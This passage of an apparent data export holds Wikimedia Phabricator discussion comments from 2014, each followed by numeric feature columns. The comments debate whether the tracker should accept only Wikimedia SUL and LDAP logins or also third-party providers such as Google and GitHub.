",,,1410484850,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.5,0.0,0.0,0.25,0.75,5.75,1.0,0.0,0.25,1.25,2.5,1.5,0.0,0.75,0.0,2.75,0.0,5.75,11.25,0.0,1.25,0.25,0.5,0.25,0.5,1.0,0.25,0.0,1.25,0.75,0.0,4.75,1.0,1.75,1.25,0.0,0.25,0.0,0.25,0.5,0.25,1.0,0.25,1.5,0.0,0.5,0.0,0.0,0.0,12.75,0.5,0.5,0.0,1.25,0.5,0.0,0.25,0.0,0.5,0.0,0.0,0.25,0.0,0.5,0.0,0.0,0.0,4.0,1.75,9.0,2.25,3.75,6.0,0.0,0.0,0.0,0.0,4.75,0.0,1.25,0.0,5.75,11.25,5.25,0.0,1.0,0.0,5.75,0.0,0.5,2.5,0.0,1.5,1.0,0.0,0.5,3.6355042016806722,0.7247198879551822,"**Krinkle** wrote on CODE

I'd recommend using our LDAP/Labs/Wikitech as the primary method of authorisation and identification.

Adding multiple backends could be neat, but I'm not sure it's worth the hassle and burden it might add to the system, it's usability etc.

Claiming an e-mail address for imported content from Bugzilla seems useful though, but if possible, I think it'd be ideal if we can configure it such that e-mail addresses can only be connected/claimed to an account (e.g. one logged-in with LDAP), but not allow users to create new accounts with only an e-mail address (so that we only have 1 ""user name"", the one in LDAP, and no potential for conflicts or confusion.

I think LDAP makes more sense as primary over Wiki CentralAuth / OAuth due to the context of this service. Our primary audience and use case is developers and designers. They are more likely to have or need an LDAP account than a wiki account. And if they're new to all this and are coming from the community with just a wiki account, they're going to need an LDAP account sooner or later anyway. So maybe (if not already) we can have a ""Sign up"" link in Phabricator, sure, but have it point to account creation of LDAP/Labs/Wikitech instead. If that sign up form is so bad, we ought to improve it.

Also remember they'll need one or more ssh keys, a user name, possibly a shelel name (depending on how git/ssh works in Phabricator), two-step auth maybe, all of which we have on Wikitech in LDAP.
"
132,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**scfc** wrote on `2014-05-15 22:21:30 (UTC)`

@ mattflaschen:

> > Extension:OpenID hasn't been properly reviewed yet, etc. AFAIUY, Phabricator has tested and deployed support for acting as an OpenID consumer.
> Connect with Google/Facebook/etc. use OAuth. They do not require OpenID.

The question was about authenticating MediaWiki against Google accounts, and currently **Extension:**OpenID appears to be the (only?) way to do that, and that uses OpenID which Google still supports and will do so until [[https://developers.google.com/+/api/auth-migration?hl=de#timetable|April 20th, 2015]].  Is there an extension that turns MediaWiki into an OAuth consumer?",,,1410484850,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,4.0,16.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,10.0,9.0,2.0,0.0,1.0,0.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,2.0,3.875,0.725,"**scfc** wrote on CODE

@ mattflaschen:

QUOTE
QUOTE

The question was about authenticating MediaWiki against Google accounts, and currently **Extension:**OpenID appears to be the (only?) way to do that, and that uses OpenID which Google still supports and will do so until [[URL 20th, 2015]].  Is there an extension that turns MediaWiki into an OAuth consumer?"
131,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**swalling** wrote on `2014-05-15 22:02:04 (UTC)`

>In any case, we cannot decide here to add 3rd party providers and to choose which ones. We can safely default to Wikimedia SUL for Day 1 and leave the door open to 3rd party providers agreed by the community. This discussion needs to go through wikitech-l. I'm happy to send a first email there and see how it goes.

Quim and I talked in person and I'm okay with this plan. ",,,1410484850,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.08,0.76,"**swalling** wrote on CODE

QUOTE

Quim and I talked in person and I'm okay with this plan. "
130,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-05-15 20:59:04 (UTC)`

I might be wrong, but I believe this could be a contentious topic. We don't need more contentious topics for Day 1.

In any case, we cannot decide here to add 3rd party providers and to choose which ones. We can safely default to Wikimedia SUL for Day 1 and leave the door open to 3rd party providers agreed by the community. This discussion needs to go through wikitech-l. I'm happy to send a first email there and see how it goes.",,,1410484848,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.5,0.0,0.0,0.0,1.0,6.5,1.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,4.0,0.0,5.0,9.0,0.0,3.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,0.0,4.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,7.5,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,1.0,3.5,1.0,9.0,1.0,3.0,6.5,0.0,0.0,0.0,0.0,8.5,0.0,1.5,0.0,5.0,9.0,6.0,0.0,0.0,0.0,5.0,0.0,2.0,1.5,0.0,0.0,0.5,0.0,0.0,3.5865384615384617,0.8365384615384616,"**qgil** wrote on CODE

I might be wrong, but I believe this could be a contentious topic. We don't need more contentious topics for Day 1.

In any case, we cannot decide here to add 3rd party providers and to choose which ones. We can safely default to Wikimedia SUL for Day 1 and leave the door open to 3rd party providers agreed by the community. This discussion needs to go through wikitech-l. I'm happy to send a first email there and see how it goes."
129,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**swalling** wrote on `2014-05-15 20:35:27 (UTC)`

> Therefore, the proposal for Day 1 is simple: Wikimedia SUL.

I really don't think this is a good idea. 

Turning off local creation and deferring third party providers will create inertia against adding additional authentication tools. We should pick the set we want from day one. 

It particularly makes no sense to not consider third party tools when we would not have to do technical work to support them. All we have to do is pick a list. ",,,1410484848,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1.0,0.0,0.0,0.0,3.0,7.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,7.0,9.0,0.0,5.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,3.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,1.0,1.0,1.0,0.0,0.0,3.0,2.0,8.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,8.0,9.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,2.0,1.0,5.0,0.0,0.0,0.0,3.9770114942528734,0.7126436781609196,"**swalling** wrote on CODE

QUOTE

I really don't think this is a good idea. 

Turning off local creation and deferring third party providers will create inertia against adding additional authentication tools. We should pick the set we want from day one. 

It particularly makes no sense to not consider third party tools when we would not have to do technical work to support them. All we have to do is pick a list. "
128,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**jdforrester** wrote on `2014-05-15 18:37:59 (UTC)`

> Therefore, the proposal for Day 1 is simple: Wikimedia SUL.

Agreed; task description/detail changed accordingly.",,,1410484847,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15,0.8,"**jdforrester** wrote on CODE

QUOTE

Agreed; task description/detail changed accordingly."
127,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-05-15 17:56:41 (UTC)`

About local user creation, what about removing it? If you have to create an account, you might as well create it for the whole Wikimedia, not only the Phabricator instance.

Therefore, the proposal for Day 1 is simple: Wikimedia SUL.",,,1410484847,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,16.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,7.0,12.0,9.0,2.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7241379310344827,0.7413793103448276,"**qgil** wrote on CODE

About local user creation, what about removing it? If you have to create an account, you might as well create it for the whole Wikimedia, not only the Phabricator instance.

Therefore, the proposal for Day 1 is simple: Wikimedia SUL."
126,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-05-15 05:52:31 (UTC)`

scfc:
> Extension:OpenID hasn't been properly reviewed yet, etc. AFAIUY, Phabricator has tested and deployed support for acting as an OpenID consumer.

Connect with Google/Facebook/etc. use OAuth.  They do not require OpenID.

jdforester:
> Yes. Endless arguments about this, but ultimately it comes down to privacy/pseudo-anonymity and approving by selection of some services over others.

Additionally, I am skeptical about adding a dependency on a proprietary third-party service.  Done wrong, the dependency becomes permanent (i.e. it is coded in such a way that the user can not disconnect their account).  Otherwise, we still have the significant privacy and open source software issues to consider.

I would prefer to keep it ""Login with your Wikipedia/Wikimedia account"" for day 1.",,,1410484847,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,1.0,1.5,4.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,2.0,0.0,4.0,6.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,3.5,1.0,1.5,1.0,1.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,13.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,1.0,0.0,0.0,4.0,1.5,10.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,6.0,6.0,4.0,0.0,1.5,0.0,6.0,0.0,1.0,2.0,0.0,0.5,0.0,0.0,2.0,3.9009887005649713,0.7990112994350282,"**mattflaschen** wrote on CODE

scfc:
QUOTE

Connect with Google/Facebook/etc. use OAuth.  They do not require OpenID.

jdforester:
QUOTE

Additionally, I am skeptical about adding a dependency on a proprietary third-party service.  Done wrong, the dependency becomes permanent (i.e. it is coded in such a way that the user can not disconnect their account).  Otherwise, we still have the significant privacy and open source software issues to consider.

I would prefer to keep it ""Login with your Wikipedia/Wikimedia account"" for day 1."
125,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-05-14 17:09:30 (UTC)`

We are a small sample of the community and we are seeing very different opinions here. Being Phabricator still so abstract for most of our community members, I don't see the usefulness to start a wider community discussion now.

What if we focus on a plan for a Wikimedia-specific login for Day 1, leaving the third parties for later? It is easier to add options as they are being agreed than to remove them if they cause too much trouble.",,,1410484846,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1.0,0.0,1.0,2.0,1.0,10.0,2.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,5.0,0.0,8.0,15.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,2.0,6.0,0.0,1.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,6.0,9.0,2.0,1.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,9.0,15.0,2.0,1.0,0.0,0.0,9.0,0.0,1.0,4.0,1.0,2.0,2.0,1.0,0.0,3.8585858585858586,0.7373737373737373,"**qgil** wrote on CODE

We are a small sample of the community and we are seeing very different opinions here. Being Phabricator still so abstract for most of our community members, I don't see the usefulness to start a wider community discussion now.

What if we focus on a plan for a Wikimedia-specific login for Day 1, leaving the third parties for later? It is easier to add options as they are being agreed than to remove them if they cause too much trouble."
124,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**avive** wrote on `2014-05-14 00:44:05 (UTC)`

As an outside user, I think it would be odd to allow other providers in wmf:phab, and not in wm.

Since wmf:phab is part of the wmf ""system"", I'd expect it to ideally only support wm logins: one, it's obviously connected, and two, sso rocks. I think it's reasonable from privacy POV that they share logins, but I might be wrong here.

Allowing (say) google auth for phab but not for wm is nicer than not allowing it at all, but also a bit confusing. Don't I need a WM account to effectively use phab?

Also consider the future were WM does allow google auth: Will loging in with google to phab automatically link my wm-account, because it's already linked to my google account? This is somewhat confusing.


Of course, offering many auth forms for wm itself is something I'd be happy to see.

(tl;dr: I'd vote to allow only wm oauth for wmf:phab - assuming that's technically possible)",,,1410484846,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.6666666666666666,0.3333333333333333,0.0,0.0,1.3333333333333333,5.0,2.0,0.3333333333333333,0.0,0.0,1.3333333333333333,1.6666666666666667,0.0,1.3333333333333333,0.0,3.6666666666666665,0.0,7.666666666666667,9.333333333333334,0.3333333333333333,2.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,2.0,0.0,5.333333333333333,2.3333333333333335,2.6666666666666665,0.6666666666666666,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,7.666666666666667,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,1.6666666666666667,3.0,7.0,0.6666666666666666,1.6666666666666667,2.6666666666666665,0.0,0.0,0.0,0.0,5.0,0.3333333333333333,0.6666666666666666,0.0,6.333333333333333,9.333333333333334,8.666666666666666,0.6666666666666666,0.6666666666666666,0.0,6.333333333333333,0.0,0.3333333333333333,1.0,0.3333333333333333,2.0,0.3333333333333333,0.0,0.0,3.4907407407407405,0.7407407407407408,"**avive** wrote on CODE

As an outside user, I think it would be odd to allow other providers in wmf:phab, and not in wm.

Since wmf:phab is part of the wmf ""system"", I'd expect it to ideally only support wm logins: one, it's obviously connected, and two, sso rocks. I think it's reasonable from privacy POV that they share logins, but I might be wrong here.

Allowing (say) google auth for phab but not for wm is nicer than not allowing it at all, but also a bit confusing. Don't I need a WM account to effectively use phab?

Also consider the future were WM does allow google auth: Will loging in with google to phab automatically link my wm-account, because it's already linked to my google account? This is somewhat confusing.


Of course, offering many auth forms for wm itself is something I'd be happy to see.

(tl;dr: I'd vote to allow only wm oauth for wmf:phab - assuming that's technically possible)"
123,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**csteipp** wrote on `2014-05-13 21:12:51 (UTC)`

If I understand the concerns right, most of them are about privacy, and how letting users login with google/etc makes it easy for our users to tell the auth provider the correlation between their IP and username. Some people argue that we have a duty to not let users shoot themselves in their privacy foot, or that by having the login there, we're somehow implying that these organizations have a compatible privacy policy with our own. I don't think either are necessarily true, and we could make the relationship explicit if we wanted to.

We will want to audit the modules for security, and possibly hack in some sort of messaging that says it's up to the user to protect their own privacy. But otherwise I don't see any issues with turning on other providers.",,,1410484846,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1.5,0.0,0.0,0.0,1.5,5.0,1.0,0.0,0.0,1.0,1.5,1.5,0.0,0.0,0.0,5.5,0.0,5.0,14.5,0.0,3.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,0.5,0.0,6.5,2.5,1.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,2.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,13.5,0.5,1.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.5,0.5,0.0,0.0,0.0,5.0,1.0,5.0,3.0,4.0,7.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,9.5,14.5,0.5,0.0,0.0,0.0,9.5,0.0,1.0,1.0,1.0,3.0,0.0,0.5,0.5,4.04320987654321,0.7777777777777778,"**csteipp** wrote on CODE

If I understand the concerns right, most of them are about privacy, and how letting users login with google/etc makes it easy for our users to tell the auth provider the correlation between their IP and username. Some people argue that we have a duty to not let users shoot themselves in their privacy foot, or that by having the login there, we're somehow implying that these organizations have a compatible privacy policy with our own. I don't think either are necessarily true, and we could make the relationship explicit if we wanted to.

We will want to audit the modules for security, and possibly hack in some sort of messaging that says it's up to the user to protect their own privacy. But otherwise I don't see any issues with turning on other providers."
122,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**swalling** wrote on `2014-05-13 20:18:14 (UTC)`

> There are two questions here:
> # Are we not allowing users to use Facebook/Twitter/Google login credentials in Wikimedia servers because MediaWiki cannot handle this feature or because we have another type of objection about it?
> # If the only problem for using 3rd party authentication providers is a MediaWiki limitation that we don't have in Phabricator, would it be ok to offer these alternative authentication providers in our Wikimedia Phabricator instance in production?

The answer to #1 is ""it's complicated"". The answer for #2 is IMO, yes. The support for this already exists in Phabricator, and offering multiple providers is a great way to reduce the potential barrier to entry. As long as we keep the number of additional providers to a minimum (i.e. not the eight different ones secure.phabricator.org provides) and choose some sensible ones (Google, GitHub, Persona, for examples) then I think it's a great idea. 

",,,1410484845,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1.0,0.0,0.0,0.0,1.0,6.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,4.5,7.5,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.5,1.5,9.0,0.0,1.5,8.0,0.0,0.0,0.0,1.0,2.0,0.5,2.0,0.0,3.0,7.5,5.0,0.0,1.0,0.0,3.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,1.0,3.8181818181818183,0.7454545454545455,"**swalling** wrote on CODE

QUOTE
QUOTE
QUOTE

The answer to #1 is ""it's complicated"". The answer for #2 is IMO, yes. The support for this already exists in Phabricator, and offering multiple providers is a great way to reduce the potential barrier to entry. As long as we keep the number of additional providers to a minimum (i.e. not the eight different ones secure.phabricator.org provides) and choose some sensible ones (Google, GitHub, Persona, for examples) then I think it's a great idea. 

"
121,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**jdforrester** wrote on `2014-05-13 19:51:22 (UTC)`

> Are we not allowing users to use [third party logins] because we have another type of objection about it?

Yes. Endless arguments about this, but ultimately it comes down to privacy/pseudo-anonymity and approving by selection of some services over others.",,,1410484845,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,18.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,18.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.17948717948718,0.8717948717948718,"**jdforrester** wrote on CODE

QUOTE

Yes. Endless arguments about this, but ultimately it comes down to privacy/pseudo-anonymity and approving by selection of some services over others."
120,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-05-13 18:58:39 (UTC)`

Moving this task back to the discussion board. Reassigning it to... me? because this is ultimately a community decision.

There are two questions here:

# Are we not allowing users to use Facebook/Twitter/Google login credentials in Wikimedia servers because MediaWiki cannot handle this feature or because we have another type of objection about it?
# If the only problem for using 3rd party authentication providers is a MediaWiki limitation that we don't have in Phabricator, would it be ok to offer these alternative authentication providers in our Wikimedia Phabricator instance in production?

If offering 3rd party providers is fine, then we can discuss which ones.",,,1410484845,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,1.5,5.0,2.5,1.5,0.0,1.5,2.5,0.5,0.0,0.5,0.5,4.0,0.5,4.0,10.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,4.5,0.0,2.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,5.5,0.0,1.5,0.5,0.0,0.0,12.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,0.0,0.5,0.0,0.0,2.5,3.5,9.5,3.0,0.5,6.0,0.0,0.0,0.0,1.0,4.0,0.0,0.5,0.0,6.0,10.5,4.5,2.0,0.0,0.0,6.0,0.0,1.5,1.0,0.5,3.0,0.0,0.0,0.0,4.425373134328359,0.7761194029850746,"**qgil** wrote on CODE

Moving this task back to the discussion board. Reassigning it to... me? because this is ultimately a community decision.

There are two questions here:

# Are we not allowing users to use Facebook/Twitter/Google login credentials in Wikimedia servers because MediaWiki cannot handle this feature or because we have another type of objection about it?
# If the only problem for using 3rd party authentication providers is a MediaWiki limitation that we don't have in Phabricator, would it be ok to offer these alternative authentication providers in our Wikimedia Phabricator instance in production?

If offering 3rd party providers is fine, then we can discuss which ones."
119,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**scfc** wrote on `2014-05-10 23:24:40 (UTC)`

@qgil:

> We could also allow users to sign-in to Wikipedia with the thir Google, Facebook, Twitter accounts, but we are not doing it. Why not? And could be the same reasons applicable here?

If I remember last year's discussions on wikitech-l correctly, the main obstacle was that MediaWiki wasn't built with that in mind, Extension:OpenID hasn't been properly reviewed yet, etc.  AFAIUY, Phabricator has tested and deployed support for acting as an OpenID consumer.",,,1410484844,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,3.0,3.0,3.0,1.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,16.0,3.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,12.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,4.0,0.782608695652174,"**scfc** wrote on CODE
SCREEN_NAME:

QUOTE

If I remember last year's discussions on wikitech-l correctly, the main obstacle was that MediaWiki wasn't built with that in mind, Extension:OpenID hasn't been properly reviewed yet, etc.  AFAIUY, Phabricator has tested and deployed support for acting as an OpenID consumer."
118,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-05-10 21:08:17 (UTC)`

We could also allow users to sign-in to Wikipedia with the thir Google, Facebook, Twitter accounts, but we are not doing it. Why not? And could be the same reasons applicable here?",,,1410484844,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,4.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,16.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,10.0,8.0,4.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.4693877551020407,0.7959183673469388,"**qgil** wrote on CODE

We could also allow users to sign-in to Wikipedia with the thir Google, Facebook, Twitter accounts, but we are not doing it. Why not? And could be the same reasons applicable here?"
117,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**scfc** wrote on `2014-05-10 15:43:08 (UTC)`

+1 to @gpaumier.  If Wikimedia OAuth[12] is ready by Day 1, that would be awesome, but what's the harm in allowing for example Google accounts as well?",,,1410484844,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,14.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,12.0,7.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5238095238095237,0.9047619047619048,"**scfc** wrote on CODE

